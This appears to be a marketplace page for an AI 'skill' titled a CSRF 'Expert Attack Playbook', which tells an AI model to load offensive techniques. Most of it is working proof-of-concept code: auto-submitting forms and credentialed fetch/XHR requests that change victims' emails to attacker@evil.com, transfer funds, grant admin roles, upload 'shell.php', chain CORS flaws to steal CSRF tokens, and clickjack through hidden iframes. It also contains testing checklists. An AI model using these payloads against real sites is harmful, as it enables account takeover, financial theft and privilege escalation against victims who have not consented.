csrf-cross-site-request-forgery

仓库: yaklang/hack-skills
安装量: 567
排名: #6327

安装

npx skills add https://github.com/yaklang/hack-skills --skill csrf-cross-site-request-forgery
SKILL: CSRF — Cross-Site Request Forgery — Expert Attack Playbook
AI LOAD INSTRUCTION
Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations. 0. RELATED ROUTING Also load: cors cross origin misconfiguration when JSON endpoints become readable cross-origin oauth oidc misconfiguration when login, account linking, or callback binding relies on OAuth state 1. CORE CONCEPT CSRF exploits a victim's active session to perform state-changing requests from the attacker's origin . Required conditions : Victim is authenticated (active session cookie) Server identifies session via cookie only (no secondary check) Attacker can predict/construct the valid request Cookie is sent cross-origin (SameSite=None or legacy behavior) 2. FINDING CSRF TARGETS High-value state-changing endpoints : - Password change ← account takeover - Email change ← account takeover - Add admin / change role ← privilege escalation - Bank/payment transfer ← financial impact - OAuth app authorization ← hijack oauth flow - Account deletion - Two-factor auth disable - SSH key / API key addition - Webhook configuration - Profile/contact info update 3. TOKEN BYPASS TECHNIQUES No Token Present Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable. Token Not Validated (most common finding!) Token exists in request but is never verified server-side: Remove the _csrf_token parameter entirely → does request still succeed? → YES → trivial bypass Token Tied to Session but Not to User Step 1: Log in as UserA → obtain valid CSRF token Step 2: Log in as UserB in other browser → obtain UserB CSRF token Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB) → If server validates token exists but doesn't check if it belongs to the session → bypass Token in Cookie Only When server sets CSRF token as cookie and expects it back in a header/form: Set-Cookie: csrf=ATTACKER_CONTROLLED → If cookie can be set by subdomain (cookie tossing): set cookie to known value → Submit form with known token in header + known token in cookie = bypass Static or Predictable Token → Same token across all users/sessions → Token = base64(username) or md5(session_id) → reversible → Token = timestamp → predictable Double Submit Cookie Pattern (broken if subdomain trusted) If attacker can write cookies for .target.com from subdomain XSS or cookie tossing: → Set csrf_cookie=CONTROLLED on .target.com → Submit request with X-CSRF-Token: CONTROLLED → Server checks header == cookie → match → bypass 4. SAMESITE BYPASS SCENARIOS SameSite=Lax (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST. Bypass SameSite=Lax via GET method :
<
img
src
=
"
https://target.com/account/delete?confirm=yes
"
>
<
script
>
document
.
location
=
'https://target.com/transfer?to=attacker&amount=1000'
;
</
script
>
Bypass via subdomain XSS (SameSite Lax/Strict)
:
// XSS on sub.target.com → same-site origin → SameSite cookies sent!
// Use XSS as staging point for CSRF
window
.
location
=
'https://target.com/account/modify?evil=true'
;
SameSite=None
(legacy or explicit): cookies sent everywhere → classic CSRF applies.
Cookie issued recently? Lax exemption:
Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.
5. CSRF PROOF OF CONCEPT TEMPLATES
Simple Form POST
<
html
>
<
body
>
<
form
id
=
"
csrf
"
action
=
"
https://target.com/account/email/change
"
method
=
"
POST
"
>
<
input
type
=
"
hidden
"
name
=
"
email
"
value
=
"
attacker@evil.com
"
>
<
input
type
=
"
hidden
"
name
=
"
confirm_email
"
value
=
"
attacker@evil.com
"
>
</
form
>
<
script
>
document
.
getElementById
(
'csrf'
)
.
submit
(
)
;
</
script
>
</
body
>
</
html
>
Auto-click Submit
<
body
onload
=
"
document
.
forms
[
0
]
.
submit
(
)
"
>
<
form
action
=
"
https://target.com/transfer
"
method
=
"
POST
"
>
<
input
name
=
"
to
"
value
=
"
attacker_account
"
>
<
input
name
=
"
amount
"
value
=
"
10000
"
>
</
form
>
</
body
>
CSRF via GET (with img tag)
<
img
src
=
"
https://target.com/api/v1/admin/delete-user?id=12345
"
style
=
"
display
:
none
"
>
CSRF with Custom Header (XMLHttpRequest — same-origin only, defeats naive defenses)
If API requires custom header like
X-CSRF-Token
but also accepts JSON with wildcard CORS — custom headers don't protect if CORS misconfigured:
// If Access-Control-Allow-Origin: * with credentials → broken
var
xhr
=
new
XMLHttpRequest
(
)
;
xhr
.
open
(
"POST"
,
"https://target.com/api/transfer"
)
;
xhr
.
setRequestHeader
(
"Content-Type"
,
"application/json"
)
;
xhr
.
withCredentials
=
true
;
// still need cookie sending
xhr
.
send
(
'{"to":"attacker","amount":1000}'
)
;
6. JSON CSRF
When endpoint accepts
Content-Type: application/json
— fetch() with CORS credentials:
// If CORS allows credentials + the endpoint:
fetch
(
'https://target.com/api/v1/change-email'
,
{
method
:
'POST'
,
credentials
:
'include'
,
headers
:
{
'Content-Type'
:
'application/json'
}
,
body
:
JSON
.
stringify
(
{
email
:
'attacker@evil.com'
}
)
}
)
;
Requires
:
Access-Control-Allow-Origin: https://attacker.com
AND
Access-Control-Allow-Credentials: true
If server only accepts
application/json
but no fetch CORS:
Can't do proper JSON CSRF from HTML form (forms can only send
application/x-www-form-urlencoded
,
multipart/form-data
,
text/plain
).
Trick — Content-Type Downgrade
If server processes
text/plain
body as JSON:
<
form
enctype
=
"
text/plain
"
method
=
"
POST
"
action
=
"
https://target.com/api
"
>
<
input
name
=
'
{"email":"attacker@evil.com","ignore":"
'
value
=
'
"
}
'
>
</
form
>
Resulting body:
{"email":"attacker@evil.com","ignore":"="}
7. MULTIPART CSRF
When changing
Content-Type
from
application/json
to
multipart/form-data
and request still works:
<
form
method
=
"
POST
"
action
=
"
https://target.com/api/update
"
enctype
=
"
multipart/form-data
"
>
<
input
name
=
"
email
"
value
=
"
attacker@evil.com
"
>
</
form
>
8. CSRF + XSS COMBINATION (CSRF Token Bypass)
When CSRF protection is otherwise solid, XSS enables CSRF bypass:
// Step 1: XSS reads CSRF token from DOM
var
token
=
document
.
querySelector
(
'input[name="csrf_token"]'
)
.
value
;
// Step 2: Submit CSRF request with real token
var
xhr
=
new
XMLHttpRequest
(
)
;
xhr
.
open
(
'POST'
,
'/account/delete'
,
true
)
;
xhr
.
setRequestHeader
(
'Content-Type'
,
'application/x-www-form-urlencoded'
)
;
xhr
.
send
(
'confirm=yes&csrf_token='
+
token
)
;
9. OAUTH CSRF (STATE PARAMETER MISSING)
OAuth flow without
state
parameter → CSRF on the OAuth authorization:
Attack
:
Attacker initiates OAuth flow, gets authorization code
Before exchanging code, stops the flow (captures the redirect URL with code)
Sends victim the crafted URL:
https://target.com/oauth/callback?code=ATTACKER_CODE
Victim's browser exchanges the attacker's code → victim's account linked to attacker's OAuth provider
Impact
Attacker can log in as victim. 10. CSRF TESTING CHECKLIST □ Remove CSRF token entirely → does request succeed? □ Change CSRF token to random value → does request succeed? □ Use CSRF token from another user's session → does request succeed? □ Check if GET version of POST endpoint exists □ Check SameSite attribute of session cookie □ Test if Content-Type change (json → form → text/plain) still processes □ Check CORS policy: does Access-Control-Allow-Credentials: true appear? With wildcard or attacker origin? → exploitable JSON CSRF □ Check OAuth flows for missing state parameter □ Test referrer-based protection: send request with no Referer header □ Test referrer-based protection: spoof subdomain in referer 11. JSON CSRF TECHNIQUES Method 1: text/plain Disguise

< form action = " https://target.com/api/role " method = " POST " enctype = " text/plain "

< input name = ' {"role":"admin","ignore":" ' value = ' " } ' type = " hidden "

< input type = " submit " value = " Click me "

</ form

Method 2: XHR with Credentials < script

var xhr = new XMLHttpRequest ( ) ; xhr . open ( "POST" , "https://target.com/api/role" , true ) ; xhr . withCredentials = true ; xhr . setRequestHeader ( "Content-Type" , "application/json" ) ; xhr . send ( '{"role":"admin"}' ) ; </ script

Method 3: fetch() API < script

fetch ( "https://target.com/api/role" , { method : "POST" , credentials : "include" , headers : { "Content-Type" : "text/plain" } , body : '{"role":"admin"}' } ) ; </ script

  1. MULTIPART CSRF & CLIENT-SIDE PATH TRAVERSAL Multipart File Upload CSRF < script

var formData = new FormData ( ) ; formData . append ( "file" , new Blob ( [ "malicious content" ] , { type : "text/plain" } ) , "shell.php" ) ; formData . append ( "action" , "upload" ) ; fetch ( "https://target.com/upload" , { method : "POST" , credentials : "include" , body : formData } ) ; </ script

Client-Side Path Traversal to CSRF (CSPT2CSRF) Normal flow: Frontend fetches /api/user/PROFILE_ID/settings Attack: Set PROFILE_ID to ../../admin/dangerous-action Result: Frontend's fetch() hits /api/admin/dangerous-action with victim's cookies This converts a path traversal into a CSRF-like attack without needing a CSRF token Aspect Traditional CSRF CSPT2CSRF Origin Attacker's site Same-origin JavaScript Token bypass Needs token forgery No token needed (same-origin) SameSite Blocked by SameSite=Strict Bypasses SameSite (same site!) Detection Standard CSRF checks Requires input validation on path segments 13. SAMESITE=LAX ADVANCED BYPASS TECHNIQUES 13.1 Top-level navigation via window.open() (2-minute window) Chrome's Lax+POST exception: cookies with SameSite=Lax are sent on cross-site POST requests if the cookie was set within the last 2 minutes (exists for OAuth flows). // Attacker page: trigger login to set a fresh cookie, then immediately CSRF // Step 1: Force victim to visit target (sets fresh session cookie) window . open ( 'https://target.com/login' ) ; // Step 2: Within 2 minutes, POST to state-changing endpoint setTimeout ( ( ) => { const form = document . createElement ( 'form' ) ; form . method = 'POST' ; form . action = 'https://target.com/account/change-email' ; form . innerHTML = '' ; document . body . appendChild ( form ) ; form . submit ( ) ; } , 5000 ) ; 13.2 302 redirect chain from attacker site Lax cookies are sent on top-level GET navigations. A redirect chain converts GET into action: 1. Attacker page → 302 redirect to https://target.com/transfer?to=attacker&amount=1000 2. Browser follows redirect as top-level navigation → Lax cookies sent 3. If target accepts GET for state-changing operations → CSRF succeeds 13.3 Method override: POST disguised as GET Many frameworks support method override via _method parameter: GET /account/delete?_method=DELETE&confirm=yes HTTP/1.1 GET /transfer?_method=POST&to=attacker&amount=1000 HTTP/1.1 Headers that trigger method override: X-HTTP-Method-Override: POST X-Method-Override: DELETE _method=PUT (Rails, Laravel, Symfony) SameSite=Lax allows the GET → framework processes it as POST/DELETE via override → CSRF on "POST-only" endpoints. 14. ADVANCED JSON CSRF TECHNIQUES 14.1 Flash-based Content-Type manipulation (legacy) Flash (pre-2021) could send arbitrary Content-Type headers cross-origin without preflight: var req : URLRequest = new URLRequest ( "https://target.com/api/role" ) ; req . method = "POST" ; req . contentType = "application/json" ; req . data = '{"role":"admin"}' ; navigateToURL ( req ) ; Legacy but still relevant for older internal applications. 14.2 fetch() no-cors mode limitations and workarounds fetch() in no-cors mode can send simple requests but cannot set Content-Type: application/json (triggers preflight) or read the response. Workaround — if the server accepts text/plain body and parses it as JSON: fetch ( 'https://target.com/api/role' , { method : 'POST' , mode : 'no-cors' , credentials : 'include' , headers : { 'Content-Type' : 'text/plain' } , body : '{"role":"admin"}' } ) ; 14.3 Encoding JSON as form-urlencoded Some backends accept both content types: < form action = " https://target.com/api/role " method = " POST "

< input name = " role " value = " admin "

< input name = " user_id " value = " 123 "

</ form

If the server processes role=admin&user_id=123 the same as {"role":"admin","user_id":123} → CSRF via plain HTML form without CORS preflight. 15. CSRF + CORS MISCONFIGURATION CHAINS Reflected Origin + Credentials 1. Target API reflects Origin in Access-Control-Allow-Origin 2. Access-Control-Allow-Credentials: true 3. Attacker page sends credentialed fetch() from https://evil.com 4. Response is readable → CSRF token extracted from response 5. Second request with valid CSRF token → bypass all CSRF defenses fetch ( 'https://target.com/api/profile' , { credentials : 'include' } ) . then ( r => r . json ( ) ) . then ( data => { fetch ( 'https://target.com/api/change-email' , { method : 'POST' , credentials : 'include' , headers : { 'Content-Type' : 'application/json' , 'X-CSRF-Token' : data . csrf_token } , body : JSON . stringify ( { email : 'attacker@evil.com' } ) } ) ; } ) ; Subdomain XSS → CORS → CSRF If *.target.com is in the CORS allowlist and an XSS exists on any subdomain: Exploit XSS on blog.target.com From XSS context, fetch API at api.target.com (CORS allows subdomain) Read CSRF token from response Submit state-changing request with valid token 16. CSRF TOKEN FIXATION (PRE-SESSION TOKENS) If CSRF tokens are issued before authentication and remain valid after login: 1. Attacker visits target.com → receives CSRF token T1 2. Attacker forces victim's browser to use T1: a. Cookie tossing from subdomain b. CRLF injection to set csrf_cookie 3. Victim logs in — CSRF token unchanged 4. Attacker submits CSRF request with known T1 → succeeds Test procedure □ Obtain CSRF token as unauthenticated user □ Log in — does the CSRF token change? □ If unchanged → token fixation: pre-auth token works post-auth □ Use pre-auth token in a CSRF PoC against authenticated endpoint 17. CLICKJACKING AS CSRF BYPASS When CSRF protections are solid but X-Frame-Options / frame-ancestors is missing: Attack flow 1. Target page is frameable (no X-Frame-Options / CSP frame-ancestors) 2. Attacker creates transparent iframe overlay 3. Victim sees attacker content, clicks land on target's action button in hidden iframe 4. Click originates from same origin (within iframe) — bypasses CSRF tokens PoC template < html

< body

< div style = " position : relative "

< iframe src = " https://target.com/account/settings " style = " opacity : 0.0001 ; position : absolute ; top : 0 ; left : 0 ; width : 500 px ; height : 500 px ; z-index : 2 ; "

</ iframe

< button style = " position : absolute ; top : 250 px ; left : 200 px ; z-index : 1 ; padding : 20 px ; font-size : 24 px ; "

Click to claim prize! </ button

</ div

</ body

</ html

Defense check □ X-Frame-Options: DENY or SAMEORIGIN header present? □ CSP: frame-ancestors 'self' or frame-ancestors 'none'? □ If neither → clickjacking possible → CSRF bypass via iframe

← 返回排行榜